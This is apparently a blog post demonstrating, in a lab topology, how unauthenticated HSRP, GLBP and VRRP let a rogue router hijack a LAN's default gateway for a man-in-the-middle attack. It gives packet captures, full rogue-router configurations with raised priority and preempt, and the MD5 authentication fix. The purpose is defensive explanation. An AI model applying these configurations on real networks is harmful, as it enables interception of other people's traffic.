You are most likely running a first hop redundancy protocol somewhere in your network. If you aren't routing at the access layer and your running a traditional redundant core (ie you aren't using a switch virtualization platform such as Cisco's VSS), one of those places is probably your user facing SVIs. If you aren't using encrypted authentication on your FHRP, you're putting your enterprise at risk.
As a bit of a proof of concept, I've put together the following to show how FHRPs can be used as a channel to launch a Man-in-the-Middle attack.
In the above environment we have two friendly routers on the left. Each router has three interfaces participating in FHRPs. Those interfaces are each plugged into a switch named for the FHRP running on said interfaces. To the right, we have our malicious routers ready to play MitM with our enterprise traffic.
Note: In most cases this will only allow a partial MitM attack, traffic sent from the users will go to the malicious router, but traffic sent to the user will still need to come from one of the original routers. Regardless, this is still a huge security risk
Interface configurations from R1 and R2 follow:
R1#sh run | beg interface Gigabit interface GigabitEthernet0/0 ip address 10.0.0.2 255.255.255.0 no ip redirects standby version 2 standby 1 ip 10.0.0.1 standby 1 preempt ! interface GigabitEthernet1/0 ip address 10.0.1.2 255.255.255.0 no ip redirects glbp 1 ip 10.0.1.1 glbp 1 preempt negotiation auto ! interface GigabitEthernet2/0 ip address 10.0.2.2 255.255.255.0 negotiation auto vrrp 1 ip 10.0.2.1 R2#sh run | beg interface Gigabit interface GigabitEthernet0/0 ip address 10.0.0.3 255.255.255.0 standby version 2 standby 1 ip 10.0.0.1 standby 1 priority 50 standby 1 preempt ! interface GigabitEthernet1/0 ip address 10.0.1.3 255.255.255.0 glbp 1 ip 10.0.1.1 glbp 1 priority 50 glbp 1 preempt negotiation auto ! interface GigabitEthernet2/0 ip address 10.0.2.3 255.255.255.0 negotiation auto vrrp 1 ip 10.0.2.1 vrrp 1 priority 50
The three major FHRPs are VRRP, HSRP and GLBP. All three of them use multicast to send protocol advertisements. This means that your switches are happily forwarding these advertisements to anyone who is willing to listen. Our malicious actors are aware of this and start taking packet captures:
Malicious_HSRP captures the following being multicast to 22.214.171.124:
Cisco Hot Standby Router Protocol Group State TLV: Type=1 Len=40 Version: 2 Op Code: Hello (0) State: Standby (5) IP Ver.: IPv4 (4) Group: 1 Identifier: ca:02:2a:cc:00:08 (ca:02:2a:cc:00:08) Priority: 50 Hellotime: Default (3000) Holdtime: Default (10000) Virtual IP Address: 10.0.0.1 Text Authentication TLV: Type=3 Len=8 Authentication Data: Default (cisco)
Malicious_GLBP captures the following being multicast to 126.96.36.199:
Gateway Load Balancing Protocol Version?: 1 Unknown1: 0 Group: 1 Unknown2: 0000 Owner ID: ca:01:2a:bd:00:1c (ca:01:2a:bd:00:1c) TLV l=28, t=Hello Type: Hello (1) Length: 28 Unknown1-0: 00 VG state?: Active (32) Unknown1-1: 00 Priority: 100 Unknown1-2: 0000 Helloint: 3000 Holdint: 10000 Redirect: 600 Timeout: 14400 Unknown1-3: 0000 Address type: IPv4 (1) Address length: 4 Virtual IPv4: 10.0.1.1 TLV l=20, t=Request/Response? Type: Request/Response? (2) Length: 20 Forwarder?: 1 VF state?: Active (32) Unknown2-1: 00 Priority: 167 Weight: 100 Unknown2-2: 6338400258abcd Virtualmac: Cisco_00:01:01 (00:07:b4:00:01:01)
Note: The built in protocol filter for GLBP in wireshark doesn't seem to have information on all the fields. However, all the information we require is visible (Group, IP and Priority).
Malicious_VRRP captures the following being multicast to 188.8.131.52:
Virtual Router Redundancy Protocol Version 2, Packet type 1 (Advertisement) Virtual Rtr ID: 1 Priority: 100 (Default priority for a backup VRRP router) Addr Count: 1 Auth Type: No Authentication (0) Adver Int: 1 Checksum: 0x6efb [correct] [Checksum Status: Good] IP Address: 10.0.2.1
Now that our malicious actors have gathered the required information, they are ready to attack. The process is very simple.
First the malicious routers change their default gateways to be either of the friendly routers actual IP addresses, then they configure their interface with matching FHRP settings, with the exception of the priority value, which should be set to a better (higher) value than the current active FHRP router.
The static route and interface configurations for the malicious routers follows:
Malicious_HSRP#sh run | i route ip route 0.0.0.0 0.0.0.0 10.0.0.2 Malicious_HSRP#sh run int gi0/0 Building configuration... Current configuration : 218 bytes ! interface GigabitEthernet0/0 ip address 10.0.0.254 255.255.255.0 standby version 2 standby 1 ip 10.0.0.1 standby 1 priority 150 standby 1 preempt Malicious_GLBP#sh run | i route ip route 0.0.0.0 0.0.0.0 10.0.1.2 Malicious_GLBP#sh run int gi0/0 Building configuration... Current configuration : 190 bytes ! interface GigabitEthernet0/0 ip address 10.0.1.254 255.255.255.0 glbp 1 ip 10.0.1.1 glbp 1 priority 150 glbp 1 preempt Malicious_VRRP#sh run | i route ip route 0.0.0.0 0.0.0.0 10.0.2.2 Malicious_VRRP#sh run int gi0/0 Building configuration... Current configuration : 174 bytes ! interface GigabitEthernet0/0 ip address 10.0.2.254 255.255.255.0 vrrp 1 ip 10.0.2.1 vrrp 1 priority 150
Note: in the case of GLBP, if load-balancing is configured (it's not by default), the weight may be adjusted in order to make the malicious router more preferred. In addition, clients on the GLBP may continue to use the old GLBP until their old ARP entries expire.
At this point the malicious routers are now the default-gateway for all devices on their segments:
Malicious_HSRP#sh standby brief P indicates configured to preempt. | Interface Grp Pri P State Active Standby Virtual IP Gi0/0 1 150 P Active local 10.0.0.2 10.0.0.1 Malicious_GLBP#sh glbp brief Interface Grp Fwd Pri State Address Active router Standby router Gi0/0 1 - 150 Active 10.0.1.1 local 10.0.1.2 Gi0/0 1 1 - Listen 0007.b400.0101 10.0.1.2 - Gi0/0 1 2 - Listen 0007.b400.0102 10.0.1.3 - Gi0/0 1 3 - Active 0007.b400.0103 local - Malicious_VRRP#sh vrrp brief Interface Grp Pri Time Own Pre State Master addr Group addr Gi0/0 1 150 3414 Y Master 10.0.2.254 10.0.2.1
At this point the attacker can just sit back and watch the packets fly by.
Fortunately, all three of the FHRPs support encrypted authentication and it can take as little as one line to configure.
R1(config-if)#standby 1 authentication md5 key-string SECURE_KEY R1(config-if)#glbp 1 authentication md5 key-string SECURE_KEY R1(config-if)#vrrp 1 authentication md5 key-string SECURE_KEY
Note: This note was originally on my personal blog. I've backdated the post to show the day it was originally written